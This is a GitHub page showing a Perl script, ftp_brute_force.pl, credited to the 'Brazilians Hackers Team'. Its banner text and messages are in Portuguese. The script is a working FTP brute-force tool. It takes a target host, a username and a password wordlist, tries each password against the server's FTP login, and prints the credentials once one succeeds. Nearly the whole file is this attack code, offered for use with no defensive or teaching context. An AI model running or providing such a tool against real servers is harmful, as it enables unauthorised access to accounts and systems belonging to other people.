-
Notifications
You must be signed in to change notification settings - Fork 6
/
ftp_brute_force.pl
97 lines (86 loc) · 3.8 KB
/
ftp_brute_force.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/perl
use Net::FTP;
my $host = $ARGV[0];
my $user = $ARGV[1];
my $wordlist = $ARGV[2];
system('cls');
if($#ARGV != 2){
print "\n ▒▒▒▒▒▒▒▓ \n";
print " ▒▒▒▒▒▒▒▓▓▓ \n";
print " ▒▓▓▓▓▓▓░░░▓ \n";
print " ▒▓░░░░▓░░░░▓ \n";
print " ▓░░░░░░▓░▓░▓ \n";
print " ▓░░░░░░▓░░░▓ \n";
print " ▓░░▓░░░▓▓▓▓ \n";
print " ▒▓░░░░▓▒▒▒▒▓ \n";
print " ▒▒▓▓▓▓▒▒▒▒▒▓ \n";
print " ▒▒▒▒▒▒▒▒▓▓▓▓ \n";
print " ▒▒▒▒▒▓▓▓▒▒▒▒▓ \n";
print " ▒▒▒▒▓▒▒▒▒▒▒▒▒▓ \n";
print " ▒▒▒▓▒▒▒▒▒▒▒▒▒▓ \n";
print " ▒▒▓▒▒▒▒▒▒▒▒▒▒▒▓ \n";
print " ▒▓▒▓▒▒▒▒▒▒▒▒▒▓ \n";
print " ▒▓▒▓▓▓▓▓▓▓▓▓▓ \n";
print " ▒▓▒▒▒▒▒▒▒▓ \n";
print " ▒▒▓▒▒▒▒▒▓ \n";
sleep(1);
print " [+] *** Brazilians Hackers Team *** [+]\n";
sleep(1);
print "\t\n";
print " [+] *** Skype: BrazilObscure *** [+]\n";
print "\t\n";
sleep(1);
print "
Modo De Usar: ./Exploit <host> <usuario> <wordlist.txt>
";
print "\t\n";
exit;
}
print "\n ▒▒▒▒▒▒▒▓ \n";
print " ▒▒▒▒▒▒▒▓▓▓ \n";
print " ▒▓▓▓▓▓▓░░░▓ \n";
print " ▒▓░░░░▓░░░░▓ \n";
print " ▓░░░░░░▓░▓░▓ \n";
print " ▓░░░░░░▓░░░▓ \n";
print " ▓░░▓░░░▓▓▓▓ \n";
print " ▒▓░░░░▓▒▒▒▒▓ \n";
print " ▒▒▓▓▓▓▒▒▒▒▒▓ \n";
print " ▒▒▒▒▒▒▒▒▓▓▓▓ \n";
print " ▒▒▒▒▒▓▓▓▒▒▒▒▓ \n";
print " ▒▒▒▒▓▒▒▒▒▒▒▒▒▓ \n";
print " ▒▒▒▓▒▒▒▒▒▒▒▒▒▓ \n";
print " ▒▒▓▒▒▒▒▒▒▒▒▒▒▒▓ \n";
print " ▒▓▒▓▒▒▒▒▒▒▒▒▒▓ \n";
print " ▒▓▒▓▓▓▓▓▓▓▓▓▓ \n";
print " ▒▓▒▒▒▒▒▒▒▓ \n";
print " ▒▒▓▒▒▒▒▒▓ \n";
sleep(1);
print " [+] *** Brazilians Hackers Team *** [+]\n";
sleep(1);
print "\t\n";
print " [+] *** Skype: BrazilObscure *** [+]\n";
print "\t\n";
sleep(1);
print "\t\n";
print "[*] HOST: $host\n\n[*] USUARIO: $user\n\n\n";
open(a,"<$wordlist");
@password = <a>;
$b = scalar(@password);
for($a>0;$a<$b;$a++){
$number += 1;
chomp($password2 = $password[$a]);
my $f = Net::FTP->new($host) or die "$!";
if(!$f->login($user, $password2)){
print "[*] $host:21 - [$number/$b] Testando Senha ... $password2\n";
$f->quit;
} else {
print "[*] $host:21 - [$number/$b] Testando Senha... $password2\n";
print "\t\n";
print "[+] Senha Encontrada! \n";
print "\t\n";
print "[*] Usuario: $user Senha: $password2\n\n";
exit;
}
}
print "\n[-] Senha Nao Encontrada :/\n";
exit;